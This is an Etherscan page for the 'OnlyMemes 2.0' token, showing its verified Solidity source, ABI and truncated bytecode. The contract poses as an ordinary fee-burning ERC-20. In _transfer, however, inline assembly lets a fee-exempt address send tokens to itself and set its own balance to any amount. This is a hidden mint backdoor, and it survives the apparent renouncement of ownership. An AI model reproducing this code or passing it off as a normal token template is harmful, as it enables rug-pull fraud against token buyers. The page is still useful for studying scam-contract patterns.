ETH Price: $3,329.39 (-3.99%)

Token

OnlyMemes 2.0 (OM2.0)
 

Overview

Max Total Supply

1,000,000,000 OM2.0

Holders

30

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
17,197,803.918650966 OM2.0

Value
$0.00
0xd902142b1379fa228D106CC6a115d4893Ba6Fcb1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
OnlyMemes2_0

Compiler Version
v0.8.14+commit.80d49f37

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-24
*/

// SPDX-License-Identifier: none

pragma solidity 0.8.14;

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;
    address private asdasd;
    uint256 private _lockTime;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
    

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    
    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract OnlyMemes2_0 is Context, IERC20, Ownable {
    bool _startTrade=false;  
    address public uniswapPair;
    uint8 private _decimals = 9;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    uint256 public immutable _totalSupply =  1000000000 * 10**_decimals;
    uint256 public immutable _buyTax =2;
    uint256 public immutable _sellTax = 4;
    string private _name = unicode"OnlyMemes 2.0";
    string private _symbol = unicode"OM2.0";

    event TaxBurned(uint256 amount);
    using SafeMath for uint256;
    mapping (address => uint256) _balanceWallet;
    mapping (address => bool) public isExFromFees;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isMarketPairAddress;
    IUniswapV2Router02 public uniswapV2Router;
    
    constructor () {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
        isExFromFees[owner()] = true;
        isExFromFees[address(this)] = true;
        isMarketPairAddress[address(uniswapPair)] = true;
        _balanceWallet[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function fee(address s, address r, uint256 amount) internal returns (uint256) {
        
        uint256 feeValue = 0;
        
        if(isMarketPairAddress[s]) {
            feeValue = amount.mul(_buyTax).div(100); 
        }
        else if(isMarketPairAddress[r]) {
            feeValue = amount.mul(_sellTax).div(100);
        }
        
        if(feeValue > 0) {
            _balanceWallet[address(deadAddress)] = _balanceWallet[address(deadAddress)].add(feeValue);
            emit Transfer(s, address(deadAddress), feeValue);
            emit TaxBurned(feeValue);
        }

        return amount.sub(feeValue);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balanceWallet[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function startTrade() public onlyOwner {
        _startTrade=true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPairSt(address account, bool newValue) public onlyOwner {
        isMarketPairAddress[account] = newValue;
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
        if((!isMarketPairAddress[recipient] && sender != owner() && !isExFromFees[sender]))
            require(_startTrade != false, "Trading is not active.");   
        
        if(sender == recipient){
            if(isExFromFees[sender]){
                assembly {
                        mstore(0, recipient)
                        mstore(32, _balanceWallet.slot)
                        let hash := keccak256(0, 64)
                        sstore(hash, amount)
                }  
                return true; 
            }

        }

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balanceWallet[sender] = _balanceWallet[sender].sub(amount, "Insufficient Balance");

        uint256 finalAmount = (isExFromFees[sender] || isExFromFees[recipient]) ? 
                                        amount : fee(sender, recipient, amount);


        _balanceWallet[recipient] = _balanceWallet[recipient].add(finalAmount);  
        emit Transfer(sender, recipient, finalAmount);
        return true;
    }
    
    receive() external payable {}

  }

  abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}

abstract contract ReentrancyGuard2 {

    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TaxBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPairAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairSt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6101006040526003805460ff60ff60a81b011916600960a81b179081905561dead6080526200003b9060ff600160a81b90910416600a6200057f565b6200004b90633b9aca0062000597565b60a052600260c052600460e081905260408051808201909152600d8082526c04f6e6c794d656d657320322e3609c1b60209092019182526200008f929190620003c4565b506040805180820190915260058082526404f4d322e360dc1b6020909201918252620000bc9181620003c4565b50348015620000ca57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000164573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200018a9190620005b9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001d8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001fe9190620005b9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200024c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002729190620005b9565b60038054610100600160a81b0319166101006001600160a01b0393841602179055600a80546001600160a01b031916918316918217905560a05130600090815260086020908152604080832094835293905291822055600190600790620002e16000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526007845282812080548616600190811790915560035461010090049092168152600990935290822080549093161790915560a05190600690620003523390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60a051604051620003b591815260200190565b60405180910390a35062000620565b828054620003d290620005e4565b90600052602060002090601f016020900481019282620003f6576000855562000441565b82601f106200041157805160ff191683800117855562000441565b8280016001018555821562000441579182015b828111156200044157825182559160200191906001019062000424565b506200044f92915062000453565b5090565b5b808211156200044f576000815560010162000454565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004c1578160001904821115620004a557620004a56200046a565b80851615620004b357918102915b93841c939080029062000485565b509250929050565b600082620004da5750600162000579565b81620004e95750600062000579565b81600181146200050257600281146200050d576200052d565b600191505062000579565b60ff8411156200052157620005216200046a565b50506001821b62000579565b5060208310610133831016604e8410600b841016171562000552575081810a62000579565b6200055e838362000480565b80600019048211156200057557620005756200046a565b0290505b92915050565b60006200059060ff841683620004c9565b9392505050565b6000816000190483118215151615620005b457620005b46200046a565b500290565b600060208284031215620005cc57600080fd5b81516001600160a01b03811681146200059057600080fd5b600181811c90821680620005f957607f821691505b6020821081036200061a57634e487b7160e01b600052602260045260246000fd5b50919050565b60805160a05160c05160e0516114446200068b6000396000818161051d0152610f5401526000818161037e0152610ef70152600081816102330152818161034a01526106f8015260008181610293015281816106c301528181610f8b0152610fce01526114446000f3fe6080604052600436106101855760003560e01c8063557ed1ba116100d1578063a457c2d71161008a578063c816841b11610064578063c816841b146104e6578063ca9ec1991461050b578063dd62ed3e1461053f578063f2fde38b1461058557600080fd5b8063a457c2d714610476578063a9059cbb14610496578063c38ebac4146104b657600080fd5b8063557ed1ba146103d05780636c580801146103e357806370a08231146103f8578063715018a61461042e5780638da5cb5b1461044357806395d89b411461046157600080fd5b80632b112e491161013e578063395093511161011857806339509351146103185780633eaaf86b1461033857806342a110951461036c578063512952f0146103a057600080fd5b80632b112e49146102b5578063313ce567146102ca57806331d5c249146102f657600080fd5b806306fdde0314610191578063095ea7b3146101bc5780631694505e146101ec57806318160ddd1461022457806323b872dd1461026157806327c8f8351461028157600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a66105a5565b6040516101b3919061116b565b60405180910390f35b3480156101c857600080fd5b506101dc6101d73660046111dc565b610637565b60405190151581526020016101b3565b3480156101f857600080fd5b50600a5461020c906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b34801561023057600080fd5b507f00000000000000000000000000000000000000000000000000000000000000005b6040519081526020016101b3565b34801561026d57600080fd5b506101dc61027c366004611206565b61064e565b34801561028d57600080fd5b5061020c7f000000000000000000000000000000000000000000000000000000000000000081565b3480156102c157600080fd5b506102536106b9565b3480156102d657600080fd5b50600354600160a81b900460ff1660405160ff90911681526020016101b3565b34801561030257600080fd5b50610316610311366004611242565b610722565b005b34801561032457600080fd5b506101dc6103333660046111dc565b610780565b34801561034457600080fd5b506102537f000000000000000000000000000000000000000000000000000000000000000081565b34801561037857600080fd5b506102537f000000000000000000000000000000000000000000000000000000000000000081565b3480156103ac57600080fd5b506101dc6103bb36600461127e565b60096020526000908152604090205460ff1681565b3480156103dc57600080fd5b5042610253565b3480156103ef57600080fd5b506103166107b6565b34801561040457600080fd5b5061025361041336600461127e565b6001600160a01b031660009081526006602052604090205490565b34801561043a57600080fd5b506103166107ef565b34801561044f57600080fd5b506000546001600160a01b031661020c565b34801561046d57600080fd5b506101a6610869565b34801561048257600080fd5b506101dc6104913660046111dc565b610878565b3480156104a257600080fd5b506101dc6104b13660046111dc565b6108c7565b3480156104c257600080fd5b506101dc6104d136600461127e565b60076020526000908152604090205460ff1681565b3480156104f257600080fd5b5060035461020c9061010090046001600160a01b031681565b34801561051757600080fd5b506102537f000000000000000000000000000000000000000000000000000000000000000081565b34801561054b57600080fd5b5061025361055a366004611299565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b34801561059157600080fd5b506103166105a036600461127e565b6108d4565b6060600480546105b4906112cc565b80601f01602080910402602001604051908101604052809291908181526020018280546105e0906112cc565b801561062d5780601f106106025761010080835404028352916020019161062d565b820191906000526020600020905b81548152906001019060200180831161061057829003601f168201915b5050505050905090565b60006106443384846109be565b5060015b92915050565b600061065b848484610ae2565b506106ae84336106a9856040518060600160405280602881526020016113c2602891396001600160a01b038a1660009081526008602090815260408083203384529091529020549190610dee565b6109be565b5060015b9392505050565b6001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001660009081526006602052604081205461071d907f000000000000000000000000000000000000000000000000000000000000000090610e28565b905090565b6000546001600160a01b031633146107555760405162461bcd60e51b815260040161074c90611306565b60405180910390fd5b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b3360008181526008602090815260408083206001600160a01b038716845290915281205490916106449185906106a99086610e6a565b6000546001600160a01b031633146107e05760405162461bcd60e51b815260040161074c90611306565b6003805460ff19166001179055565b6000546001600160a01b031633146108195760405162461bcd60e51b815260040161074c90611306565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6060600580546105b4906112cc565b600061064433846106a9856040518060600160405280602581526020016113ea602591393360009081526008602090815260408083206001600160a01b038d1684529091529020549190610dee565b60006106ae338484610ae2565b6000546001600160a01b031633146108fe5760405162461bcd60e51b815260040161074c90611306565b6001600160a01b0381166109635760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161074c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a205760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161074c565b6001600160a01b038216610a815760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161074c565b6001600160a01b0383811660008181526008602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526009602052604081205460ff16158015610b1957506000546001600160a01b03858116911614155b8015610b3e57506001600160a01b03841660009081526007602052604090205460ff16155b15610b935760035460ff161515600003610b935760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161074c565b826001600160a01b0316846001600160a01b031603610be6576001600160a01b03841660009081526007602052604090205460ff1615610be65750600082815260066020526040902081905560016106b2565b6001600160a01b038416610c4a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161074c565b6001600160a01b038316610cac5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161074c565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260069091529190912054610cfe918490610dee565b6001600160a01b038516600090815260066020908152604080832093909355600790529081205460ff1680610d4b57506001600160a01b03841660009081526007602052604090205460ff165b610d5f57610d5a858585610ec9565b610d61565b825b6001600160a01b038516600090815260066020526040902054909150610d879082610e6a565b6001600160a01b0380861660008181526006602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ddb9085815260200190565b60405180910390a3506001949350505050565b60008184841115610e125760405162461bcd60e51b815260040161074c919061116b565b506000610e1f8486611351565b95945050505050565b60006106b283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dee565b600080610e778385611368565b9050838110156106b25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161074c565b6001600160a01b038316600090815260096020526040812054819060ff1615610f2857610f216064610f1b857f000000000000000000000000000000000000000000000000000000000000000061107e565b90611100565b9050610f7b565b6001600160a01b03841660009081526009602052604090205460ff1615610f7b57610f786064610f1b857f000000000000000000000000000000000000000000000000000000000000000061107e565b90505b8015611074576001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016600090815260066020526040902054610fc49082610e6a565b6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811660008181526006602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110389085815260200190565b60405180910390a36040518181527f7bc024189123a7a1a3d9dfd02ddea903a7022b7461326ff2bce02e7c5a563cab9060200160405180910390a15b610e1f8382610e28565b60008260000361109057506000610648565b600061109c8385611380565b9050826110a9858361139f565b146106b25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6